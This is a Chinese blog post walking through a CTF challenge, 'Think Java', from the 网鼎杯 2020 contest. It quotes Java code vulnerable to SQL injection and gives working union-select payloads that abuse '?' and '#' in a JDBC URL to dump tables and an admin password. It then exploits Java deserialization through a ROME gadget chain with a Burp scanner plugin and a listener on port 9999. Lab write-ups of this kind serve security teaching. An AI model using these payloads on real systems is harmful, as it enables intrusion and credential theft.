[网鼎杯 2020 朱雀组]Think Java

本文介绍了如何使用SwaggerUI展示接口文档,同时探讨了在JDBC连接中防范SQL注入攻击,以及Java反序列化中的安全问题,包括利用`javaDeserializationScanner`和ROME漏洞利用组件进行分析和防御措施。
摘要由CSDN通过智能技术生成

[网鼎杯 2020 朱雀组]Think Java

swagger

[[swagger]]

  • 首先下载源码,查看之后发现
    image.png

  • 查找swagger资料,或者扫描,得到:swagger-ui.html

swagger-ui 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。

  • 首先去看看sqlDict页面,感觉跟sql注入有关
    image.png

JDBC sql注入

[[JDBC sql注入]]

//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法
       try {
            Class.forName("com.mysql.jdbc.Driver");
            if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

            if (user == null || dbName.equals("")) {
                user = "root";
            }

            if (pass == null || dbName.equals("")) {
                pass = "abc@12345";
            }

            conn = DriverManager.getConnection(dbName, user, pass);


//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
 ResultSet rs = stmt.executeQuery(sql);

参考wp,写的比较详细
https://blog.csdn.net/RABCDXB/article/details/124003575
https://syunaht.com/p/701889044.html

?#特殊处理

jdbc类似于url解析,所以会对于#和?有着不一样的解释

  • #在jdbc中无实际意义且#号后面的会被忽视。例如:myapp# 11会被当做myapp。而SQL语句得到的是:11
  • ?也是一样的,不过需要加个键值对。myapp?a=11。得到的SQL语句是:11
    所以构造,将提交方式改为post会好一点
dbName=myapp?a=1'union+select(group_concat(table_name))from(infoRmation_schema.tables)where(table_schema)like(database())#

image.png

  • 也不一定要用myapp数据库,也可以使用mysql自带的数据库,比如mysql
dbName=mysql?a=1'union+select+333#

image.png

  • 上面我们使用myapp数据库的时候其实返回了表名user,字段name和pwd
  • 所以直接进行注入
使用?
dbName=myapp?a=1'union+select+group_concat(name,pwd)+from+user#

使用#
dbName=myapp#1'union+select+group_concat(name,pwd)+from+user#

image.png
得到

admin
admin@Rrrr_ctf_asde
  • 进入登录页面进行登录
    image.png
  • 登录成功之后返回了
    image.png

java反序列化

[[java反序列化]]

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。

  • 很明显是base64加密,进入最后一个将数据放入抓包
    1710861473304.png
    看到回显的数据就是admin用户名,尝试反序列化利用

java Deserialization Scanner

[[java反序列化#java Deserialization Scanner]]

  • 分析组件
  • 可以简化ysoserial使用流程
    是bp里面的插件,下载安装看这篇博客吧
    https://blog.csdn.net/RABCDXB/article/details/124003575
  • 主要讲如何使用
    有三个模块,分别是组件分析,漏洞利用,配置
使用

组件分析

  • 进入
    image.png
  • 使用
    image.png
  • 显现红色的就是它推测出来的组件,这里是ROME
    漏洞利用
  • 进入
    image.png
  • 使用
    Snipaste_2024-03-19_23-14-24.png

最后,监听9999 端口,得到
1710861809481.png

  • 42
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值